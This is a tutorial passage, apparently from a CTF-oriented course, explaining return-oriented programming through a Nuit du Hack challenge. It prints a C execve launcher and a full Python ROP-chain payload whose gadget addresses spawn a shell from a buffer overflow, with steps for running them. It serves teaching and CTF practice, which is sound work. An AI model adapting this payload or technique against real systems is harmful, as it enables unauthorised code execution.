ROP Chain

Actually I wanted to look for a good write-up featuring a lot of shellcode crafting exploits, but I can't seem to find a decent one yet. Meanwhile there's this nice introduction to ROP from NDH (Nuit du Hack) with a little bit of buffer overflow and some race condition.

What is it?

ROP or Return Oriented Programming is an exploit technique where the attacker use existing assembly instructions inside the machine's memory (from the program or linked/shared library) and chain them together to change the control flow of the program. This exploit is based on return2libc.

How does it work?

An ROP chain is possible due to the nature of the RET instruction on assembly.

IF instruction = near RET
THEN;
    IF OperandSize = 16
    THEN
        IP <- Pop();
        EIP <- EIP AND 0000FFFFH;
    ELSE (* OperandSize = 32 *)
        EIP <- Pop();
    FI;
    IF instruction has immediate operand THEN eSP <- eSP + imm16; FI;
FI;

The following snippet are taken from the Intel x86 Programmer's Manual. We can see that what RET does actually is popping the top of the stack into EIP. We know that EIP or Extended Instruction Pointer is a register where the next instruction to be performed is stored. That means the program will check for the EIP first before executing the next instruction after the RET. If the address on the EIP is a valid address, then the program will continue on that address. If not, it will receive a segmentation fault.

This exploit becomes available when we can write something into the stack (usually via buffer overflow) and is usually used when the NX-bit is enabled, just like return2libc exploits. Now consider the stack layout from the previous chapter. On the previous case, the NX-bit is disabled and once we gain control of EIP through buffer overflow, we just point the return address to the address of our shellcode and let the program execute it for us. But when you can't execute your own crafted shellcode, all there is left to do is executing anything inside the program. This "anything" inside the program is called a gadget, which is a set of instructions usually ends with RET or any other mnemonics that won't lose you control of the execution flow, and there's a lot of it. The location or the gadgets itself may vary, which is why there are tools built just to locate them. One of them is ROPgadget. You can search for it online. The tool will tell you the address and the instructions it performed, and you just have to choose them. It's not that hard of course, just find the right chains from thousands of instructions :)

Write-up Analysis

The author of original write-up is probably the same guy as the one in previous chapter because I took it from the same website, only this time it's from a French CTF, Nuit du Hack. It's quite popular in Europe and has a very high bounty. Here are the links, as usual.

Original write-up: https://0xabe.io/ctf/exploit/2016/04/03/Nuit-du-Hack-pwn-Secure-File-Reader.html

Original challenge: https://drive.google.com/file/d/14a3l6P9JFQXNVaIisrqsWxhkBr5lBpN0/view?usp=sharing

Here we go

In the real challenge, the OWG was given a Linux environment with nothing but the basic UNIX programs and the vulnerable file plus the flag. The file asks the user to input a filename which is then will be "saved" into the stack and nothing more. But there's a catch, the program will not take any files with more than 256 bytes. Since the program is not stripped, feel free to use objdump and redirect the output to another file if you want to analyze it with a graphical text editor. But for some reason the file is huge (some 200,000 lines from objdump), so I'll just stick with the OWG for faster explanation.

Since we need to bypass the check_size() function first, we need to create a small file (with something like touch) and fill it with the payload after the check is bypassed. And since we can't execute our own shellcode, we need to spawn /bin/bash to gain access to the system. The method used in by the OWG is spawning an execve (/bin/bash) by finding the required arguments with ROPgadgets and use it to create an ROP chain.

He did said that there are a lot of ways to summon the shell, but due to the limited gadgets inside the program, he chose to spawn a launcher that will launch the program with execve() and supply it with a string "/bin/bash" from environment variable.

How is that possible?

Here's the execve() syscall from man 3 execve:

int execve (const char *filename, char *constargv[ ], char *constenvp[ ]);

Notice the envp variable on the last argument. This will be where we put the string.

#include <stdlib.h>
#include <unistd.h>

int main (void)
{
    char *env [2];
    char *argv [3];

    clearenv ();

    argv [0] = "/home/revixit/secure-file-reader";
    argv [1] = "/home/revixit/fifo"
    argv [2] = NULL;

    env [0] = "s=/bin/sh";
    env [1] = NULL;

    execve ("/home/revixit/secure-file-reader", argv, env);

    exit (0);
}

Now this is a good example why you should learn C. There will be a situation where python or other high level programming language is not available. So it's good to master more than one programming language.

I think the code is already straightforward so I don't feel the need to explain it.

The code above is not the real exploit. It's merely a launcher that will launch the program with our "fifo". It's an interesting term because everywhere I look, it's a concept of economy where if you buy two items with different price, the last price will be the one accounted. Kind of like our payload. And here's the real python script for ROP chaining:

#!/usr/bin/env/python2
from pwn import p32

environ_addr = 0x80ef54c

payload = 'A' * 4124 # set ebx = addr /bin/sh in first env var

# ecx is also set
payload += p32 (0x08072731) # pop ecx ; pop ebx ; ret
payload += p32 (0xffffffff)
payload += p32 (0xffffffff)
payload += p32 (0x080de209) # : inc ebx ; ret
payload += p32 (0x080ddf6c) # : inc ecx ; ret
payload += p32 (0x0807270a) # : pop edx ; ret
payload += p32 (environ_addr)
payload += p32 (0x080da8e6) # : mov edi, dword ptr [edx] ; ret
payload += p32 (0x080483ae) # : pop ebp ; ret (just to have a valid address in edx)
payload += p32 (environ_addr)
payload += p32 (0x08050b60) # : mov eax, edi ; mov edx, ebp ; pop edi ; pop ebp ; ret
payload += p32 (0x41414141) * 2
payload += p32 (0x080eaa2d) # : add ebx, dword ptr [eax] ; add dword ptr [edx], ecx ; ret

# to pass by the 's=' in the env var
payload += p32 (0x080de209) # inc ebx ; ret
payload += p32 (0x080de209) # inc ebx ; ret

# set eax
payload += p32 (0x080beb26) # pop eax ; ret
payload += p32 (0xf5fed208)# hex (0xffffffff - 0xa012e03+1 + 11)
payload += p32 (0x080e5e43) # add eax, 0xa012e03 ; ret

# set edx
payload += p32 (0x0807270a) # pop edx ; ret
payload += p32 (0xffffffff) #
payload += p32 (0x0805d6f7) # inc edx ; ret

# syscall
payload += p32 (0x08049501) # int 0x80

print payload

The line by line explanation should be simple here, because OWG has done most of the explanation for us. The addresses you see are the gadgets we obtained with ROPgadget earlier. The instructions are simply setting all the arguments and registers needed to call the right execve (). To understand more, you need to learn assembly yourself, because explaining each instructions one by one will take a day or two.

Now everything is in order. Just redirect the output of the payload into the fifo and run the launcher, you will get the shell.

results matching ""

    No results matching ""